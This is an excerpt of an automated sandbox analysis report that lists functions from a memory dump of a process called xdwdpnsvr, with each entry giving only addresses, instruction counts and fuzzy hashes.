                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2L_^
                                                                                                                                                                            • API String ID: 0-1535703924
                                                                                                                                                                            • Opcode ID: 09353092958ead3ec6984c3d615f181ba8d8f19065c8161b446a697cffba5946
                                                                                                                                                                            • Instruction ID: 527dc5393330eb0aaec28b85548f512bf994a1e7eefce27a0286e10e0c8464b0
                                                                                                                                                                            • Opcode Fuzzy Hash: 09353092958ead3ec6984c3d615f181ba8d8f19065c8161b446a697cffba5946
                                                                                                                                                                            • Instruction Fuzzy Hash: 39215E29E3E08F81FF68A72898272FA31414F58B55F54567AE46CC21F3FD8C742A41D2
                                                                                                                                                                            Function 00007FFE6F7E1678 Relevance: 1.3, Strings: 1, Instructions: 52COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2L_^
                                                                                                                                                                            • API String ID: 0-1535703924
                                                                                                                                                                            • Opcode ID: 226c645664923da106340a027921ba5447dd095e183b58da52a40f6ce5015b9e
                                                                                                                                                                            • Instruction ID: ff22d080094988e5e1da9cace0995b1286246e52577771f11ad8929050aebdc1
                                                                                                                                                                            • Opcode Fuzzy Hash: 226c645664923da106340a027921ba5447dd095e183b58da52a40f6ce5015b9e
                                                                                                                                                                            • Instruction Fuzzy Hash: 9811F519D3F0DFC1FBA8A32498372F936406F58B45F54567AC4B8820F2FD8C742A4292
                                                                                                                                                                            Function 00007FFE6F7EA173 Relevance: 1.3, Strings: 1, Instructions: 52COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: L
                                                                                                                                                                            • API String ID: 0-2909332022
                                                                                                                                                                            • Opcode ID: 9f85ab28eab25c674d57dc854214089d86fac3407842f9d2ebd63a241b6d6ec2
                                                                                                                                                                            • Instruction ID: 8ea605bd23f0e4c1a51895b31e1d7e0a23dfe4097f340f74f083d0ef26f8a3df
                                                                                                                                                                            • Opcode Fuzzy Hash: 9f85ab28eab25c674d57dc854214089d86fac3407842f9d2ebd63a241b6d6ec2
                                                                                                                                                                            • Instruction Fuzzy Hash: E5011E34D39A5A8EEB58AB28D4512F873A1FF44710F544079E41ED72E7DE39A841C644
                                                                                                                                                                            Function 00007FFE6F7E1627 Relevance: 1.3, Strings: 1, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: #2L_^
                                                                                                                                                                            • API String ID: 0-1535703924
                                                                                                                                                                            • Opcode ID: a3b1522a6f96079c6b67662d21da5b7148e4ffe614dca2560ccf040ae9ad11ed
                                                                                                                                                                            • Instruction ID: 0cc0ce18ff105d35bdd6059e74fafc8bed1edb63e8fa8bb52e149da2ce324d6b
                                                                                                                                                                            • Opcode Fuzzy Hash: a3b1522a6f96079c6b67662d21da5b7148e4ffe614dca2560ccf040ae9ad11ed
                                                                                                                                                                            • Instruction Fuzzy Hash: 7AD0C90661A5E60AD601AB6CB8F74F93B51EF9327974840B7D1D569173AE09204681C7
                                                                                                                                                                            Function 00007FFE6F7E248C Relevance: 1.0, Instructions: 1046COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a756a67e041841b74814d86a72d1255d3e02e34897b033a9559f38f3cac0c746
                                                                                                                                                                            • Instruction ID: 02a5ed81d1928c2489fb01a8e9b21bf8ad5067f1a05f727fbca4a2c06c6bb28a
                                                                                                                                                                            • Opcode Fuzzy Hash: a756a67e041841b74814d86a72d1255d3e02e34897b033a9559f38f3cac0c746
                                                                                                                                                                            • Instruction Fuzzy Hash: 36728F25F3D58E8BE794B738C4666BD3693AF98350F950476E01EC72E2ED2CB8428741
                                                                                                                                                                            Function 00007FFE6F7ED6AA Relevance: .5, Instructions: 528COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 99c65a053d96cba0657e2f775c6f45e43520111baea7305f851da9cfce4c6751
                                                                                                                                                                            • Instruction ID: dbe3382ac24bdc78548832e904d2d41db6345a6e0f82c0a593db281134a0ae5d
                                                                                                                                                                            • Opcode Fuzzy Hash: 99c65a053d96cba0657e2f775c6f45e43520111baea7305f851da9cfce4c6751
                                                                                                                                                                            • Instruction Fuzzy Hash: 68F1A621E6D6CA4FE756A73C88262A93BD29F99310F0905B6D05DC72F3FC1CA8568352
                                                                                                                                                                            Function 00007FFE6F7E26CC Relevance: .5, Instructions: 469COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6f7e9e82156f348cd541b5be747d6bc6f5246b1e41fdbc83ce00ad456cfa426c
                                                                                                                                                                            • Instruction ID: d403cb35125b70957a7e954821fab38bc8873b1b02566c93689a4d64bfa3b1d9
                                                                                                                                                                            • Opcode Fuzzy Hash: 6f7e9e82156f348cd541b5be747d6bc6f5246b1e41fdbc83ce00ad456cfa426c
                                                                                                                                                                            • Instruction Fuzzy Hash: 55F13E25F7989E8BE794B73CC4656BE2293AF98350F910475E01ED72E6ED2CBC818740
                                                                                                                                                                            Function 00007FFE6F7E12C0 Relevance: .4, Instructions: 366COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6ac939e433a5bcdacc783af584525bf77cee72510ea415b1f677d224fc8bfb1e
                                                                                                                                                                            • Instruction ID: cc203552869a13f95b440f3c59a3b91cb6453e956ac33a75b39df263e856a12e
                                                                                                                                                                            • Opcode Fuzzy Hash: 6ac939e433a5bcdacc783af584525bf77cee72510ea415b1f677d224fc8bfb1e
                                                                                                                                                                            • Instruction Fuzzy Hash: 93B17022E7989E4AFB95B73C88262B971C2AFD8315F550575E41DC32F2FC2CB8578281
                                                                                                                                                                            Function 00007FFE6F7EBF03 Relevance: .2, Instructions: 217COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2e6a6a62d36cb145da348cc96fa48452eb466db399bd13f25023e26ad33fda8a
                                                                                                                                                                            • Instruction ID: 8dee2eb05d24afd09e99e077c054b626fa7e4e22d5bafa13a92a73fb270dc564
                                                                                                                                                                            • Opcode Fuzzy Hash: 2e6a6a62d36cb145da348cc96fa48452eb466db399bd13f25023e26ad33fda8a
                                                                                                                                                                            • Instruction Fuzzy Hash: 5F61412983F3CE8EE72653245C761E57FA09F56215F1905FBD4988B0E2EA0D384A8392
                                                                                                                                                                            Function 00007FFE6F7E446C Relevance: .2, Instructions: 194COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 52fdbe7f883d0111b13db517bfac2aa6d2f33bf62c51626669167cd282e172bb
                                                                                                                                                                            • Instruction ID: f190ff93f7ea89c6e7a81c686cced32127280e9c1df02e84f5b00aa49db4313e
                                                                                                                                                                            • Opcode Fuzzy Hash: 52fdbe7f883d0111b13db517bfac2aa6d2f33bf62c51626669167cd282e172bb
                                                                                                                                                                            • Instruction Fuzzy Hash: A1517131918A5C8FDB58DF58D845BE9BBB1FB59310F0082ABD44DE3252DE34A985CB81
                                                                                                                                                                            Function 00007FFE6F7E1D27 Relevance: .2, Instructions: 193COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: b17e8858f0d2ecdc498323f8318a3cd541a747f89a2bf6c6fcd120b8482c266f
                                                                                                                                                                            • Instruction ID: 468850389700ccf464908fff3f1806c416efa8fb82db271314868708d8a9a98e
                                                                                                                                                                            • Opcode Fuzzy Hash: b17e8858f0d2ecdc498323f8318a3cd541a747f89a2bf6c6fcd120b8482c266f
                                                                                                                                                                            • Instruction Fuzzy Hash: FD511D15F3D5CF4BE6407BBC54364FD6E929F82200BC144B6E1AAA73A7FC2CA9518352
                                                                                                                                                                            Function 00007FFE6F7EC0BF Relevance: .2, Instructions: 192COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 77a39c2090f9adc2564483aadf899d9ef2753b6156ea5fe6c55efd1393325c11
                                                                                                                                                                            • Instruction ID: 63e344bcb6b2f0c2a6678d011f5743b52db1d20509732bee45b2a50ef4871380
                                                                                                                                                                            • Opcode Fuzzy Hash: 77a39c2090f9adc2564483aadf899d9ef2753b6156ea5fe6c55efd1393325c11
                                                                                                                                                                            • Instruction Fuzzy Hash: F651A37DD3D58E8AEB98DB5898266F87B90EF64302F54023AD429D72E1FE287405C681
                                                                                                                                                                            Function 00007FFE6F7E71E0 Relevance: .2, Instructions: 189COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 7b38041da5eaed0b84ab98eb0e3ec435f4ce86bd602fdd5940aecbf4db2a5600
                                                                                                                                                                            • Instruction ID: 50bd5a6afc3fd8c740d15f6c6173a1d321a9eb28784a1a78dcc92fe29df11c5f
                                                                                                                                                                            • Opcode Fuzzy Hash: 7b38041da5eaed0b84ab98eb0e3ec435f4ce86bd602fdd5940aecbf4db2a5600
                                                                                                                                                                            • Instruction Fuzzy Hash: FD518A30928A8D8FEBA8DF28D8557E977E1FF54300F10826EE85DC7295DF34A5458B82
                                                                                                                                                                            Function 00007FFE6F7E7A37 Relevance: .2, Instructions: 182COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 44329b59abc80557f092cf475d978b029d39c4345a3badb66ce239bc132a86e7
                                                                                                                                                                            • Instruction ID: edb42fe88b6b5ba613304eacd8e0f223db439b4d986dcfb8d9a28a1e9af8629b
                                                                                                                                                                            • Opcode Fuzzy Hash: 44329b59abc80557f092cf475d978b029d39c4345a3badb66ce239bc132a86e7
                                                                                                                                                                            • Instruction Fuzzy Hash: 0751A430628A4D8FEB64DF28C8557E977D1FF54310F04826EE86DC72A5DF38A9458B82
                                                                                                                                                                            Function 00007FFE6F7EB231 Relevance: .2, Instructions: 171COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0c8ddb9f4e5a407223090712a52bf2903fcaacec751dce84ff4f799513db8dcf
                                                                                                                                                                            • Instruction ID: 29dba84a077120121b83932d3ecab7ade8c21259ae15d093be7ddd85b42048a3
                                                                                                                                                                            • Opcode Fuzzy Hash: 0c8ddb9f4e5a407223090712a52bf2903fcaacec751dce84ff4f799513db8dcf
                                                                                                                                                                            • Instruction Fuzzy Hash: 82518725D3E7CE8FE752572C98661A83EA1AF66310F1A41BBC09CCB1E3E91D78458352
                                                                                                                                                                            Function 00007FFE6F7EC5CD Relevance: .2, Instructions: 170COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c0ff2016d5530d719bf2164c357dfa83ede2f994fd4d31f96a9181161e2887a7
                                                                                                                                                                            • Instruction ID: e9498c9e29c38a791a1021d8fb67f67be9b2abc549f1f7f8b0fa9faea664869c
                                                                                                                                                                            • Opcode Fuzzy Hash: c0ff2016d5530d719bf2164c357dfa83ede2f994fd4d31f96a9181161e2887a7
                                                                                                                                                                            • Instruction Fuzzy Hash: 08519E2993E5CECFEB56A72888666F97FA1AF19301F4401BBD059D71E2EE187811C341
                                                                                                                                                                            Function 00007FFE6F7E351D Relevance: .2, Instructions: 169COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: bfce3dbd63441aa4561070a5ad68e07702b0d147ada088968b7fe9071bb6dc87
                                                                                                                                                                            • Instruction ID: 9fa2b94a5bbfeb0c1093860ac7e2573d6e30d82ff8d5a8938cc1e13200a51fe1
                                                                                                                                                                            • Opcode Fuzzy Hash: bfce3dbd63441aa4561070a5ad68e07702b0d147ada088968b7fe9071bb6dc87
                                                                                                                                                                            • Instruction Fuzzy Hash: 17514B9A81E3D94FE7932730A8752D13F754E2325871A44E7C4D6CB2E3E80D5E49C3A2
                                                                                                                                                                            Function 00007FFE6F7EACE7 Relevance: .2, Instructions: 153COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 321dc0d898eb75c3cfe9da2cf6448988ee8749c731310ef8ba9737f34a156f52
                                                                                                                                                                            • Instruction ID: 0a3003e2a62dcc9e52c91c0af50ca795daadc74aa034c3cba895fa8c2aa00ae9
                                                                                                                                                                            • Opcode Fuzzy Hash: 321dc0d898eb75c3cfe9da2cf6448988ee8749c731310ef8ba9737f34a156f52
                                                                                                                                                                            • Instruction Fuzzy Hash: A8411935A3A95D8FEB84FB68D8666FC77E1EF58301F40007AE45DD72B2EE2868458740
                                                                                                                                                                            Function 00007FFE6F7E2ED3 Relevance: .1, Instructions: 140COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1df9f93eec18365e71fd8172d45f550333ef4553e25b8a8f20eeefbd39dace08
                                                                                                                                                                            • Instruction ID: 3e79a5d990f893ef4d1da649faace357ac5b6a1f3fae169e66f716817af41d1a
                                                                                                                                                                            • Opcode Fuzzy Hash: 1df9f93eec18365e71fd8172d45f550333ef4553e25b8a8f20eeefbd39dace08
                                                                                                                                                                            • Instruction Fuzzy Hash: 7B415E25F3958E4AE758B76C88A66FD3282EF98345F940536E01DC32F2FD2C7856C252
                                                                                                                                                                            Function 00007FFE6F7E2CF6 Relevance: .1, Instructions: 137COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 43e25dd6c3b5873887f89c3fc356d94ceda80a3c1acd82a65aa9c0262f6ffd79
                                                                                                                                                                            • Instruction ID: 5a89fdde2ceb1373f11dfd79e2608ec040227d75713f4de42ac7c84c70fa6275
                                                                                                                                                                            • Opcode Fuzzy Hash: 43e25dd6c3b5873887f89c3fc356d94ceda80a3c1acd82a65aa9c0262f6ffd79
                                                                                                                                                                            • Instruction Fuzzy Hash: BC413D25F3998F8BE798AB38C4656BD6292EF94301F950479E01ED32E2ED3CB8518741
                                                                                                                                                                            Function 00007FFE6F7E2D1A Relevance: .1, Instructions: 135COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 75cd3c77bdaab2dbd1a173ed62fec1c7aeb130caf4fafa293c0cd79da78b924e
                                                                                                                                                                            • Instruction ID: 982ce7e89331dd03e48e374e224eadd9cd5ef43f06da0f319a3efef88780b946
                                                                                                                                                                            • Opcode Fuzzy Hash: 75cd3c77bdaab2dbd1a173ed62fec1c7aeb130caf4fafa293c0cd79da78b924e
                                                                                                                                                                            • Instruction Fuzzy Hash: 3E417C21F3998F8BE784BB38C4656BD6292AF94301F950479E01ED72E6ED2CB841C741
                                                                                                                                                                            Function 00007FFE6F7EAA7D Relevance: .1, Instructions: 126COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3afe0c40686e82a63317f27105167ca48551b4d80e57905346555a340b4e49c7
                                                                                                                                                                            • Instruction ID: f1fed833c30c951c8c63b567be52731cae0e31796309198c260b5637f9f912a4
                                                                                                                                                                            • Opcode Fuzzy Hash: 3afe0c40686e82a63317f27105167ca48551b4d80e57905346555a340b4e49c7
                                                                                                                                                                            • Instruction Fuzzy Hash: 39315230A35D5D8FEB94EB6C84656FCB3E1EF98301B50417AD40ED72B6DE25AC428740
                                                                                                                                                                            Function 00007FFE6F7E12E8 Relevance: .1, Instructions: 112COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 54acc53b2448cb60a7bdf3844c61a678c5597407ea3dc84d5b1e40a0e27f03ef
                                                                                                                                                                            • Instruction ID: d8141ed53b82df0fedf9bc32d7ca3ef8ba08f3be0ded1c39ade0d4fac33dd4eb
                                                                                                                                                                            • Opcode Fuzzy Hash: 54acc53b2448cb60a7bdf3844c61a678c5597407ea3dc84d5b1e40a0e27f03ef
                                                                                                                                                                            • Instruction Fuzzy Hash: 58314D35E3695D8FEB98EB6894556F9B3E1FF98311F40007AE41DD32A2EE39A8418640
                                                                                                                                                                            Function 00007FFE6F7EA34E Relevance: .1, Instructions: 108COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3348c776960f5cff2f2ccd3f93abb22c936e7595d1989e3c8e38f329fb45f337
                                                                                                                                                                            • Instruction ID: 2200932409b9d5d00d38bc140d4470f1b586e1c8f47eab1f8a84bb3d2c54763c
                                                                                                                                                                            • Opcode Fuzzy Hash: 3348c776960f5cff2f2ccd3f93abb22c936e7595d1989e3c8e38f329fb45f337
                                                                                                                                                                            • Instruction Fuzzy Hash: 53316155C3E2DE8AFB6AA33848261F53F605F61205F1515BFC4A9C70B3F908741E82A3
                                                                                                                                                                            Function 00007FFE6F7EC458 Relevance: .1, Instructions: 104COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 0000000F.00000002.2752103034.00007FFE6F7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7E0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_15_2_7ffe6f7e0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 81bf56a0e6ae96c9770e87a5b02a5fefbdf3f15a6cbf8fea1c0309cd335e4f19
                                                                                                                                                                            • Instruction ID: e4617abe5a23d9c054b301e45126260779fc9b010cfc52839228e305d77b90ae
                                                                                                                                                                            • Opcode Fuzzy Hash: 81bf56a0e6ae96c9770e87a5b02a5fefbdf3f15a6cbf8fea1c0309cd335e4f19
                                                                                                                                                                            • Instruction Fuzzy Hash: 04311E31A18A5C8FDF94EF68D885BECBBF0FB58311F50416AD44DE3262DA34A985CB41
                                                                                                                                                                            Function 00007FFE6F7E90E1 Relevance: .1, Instructions: 99COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
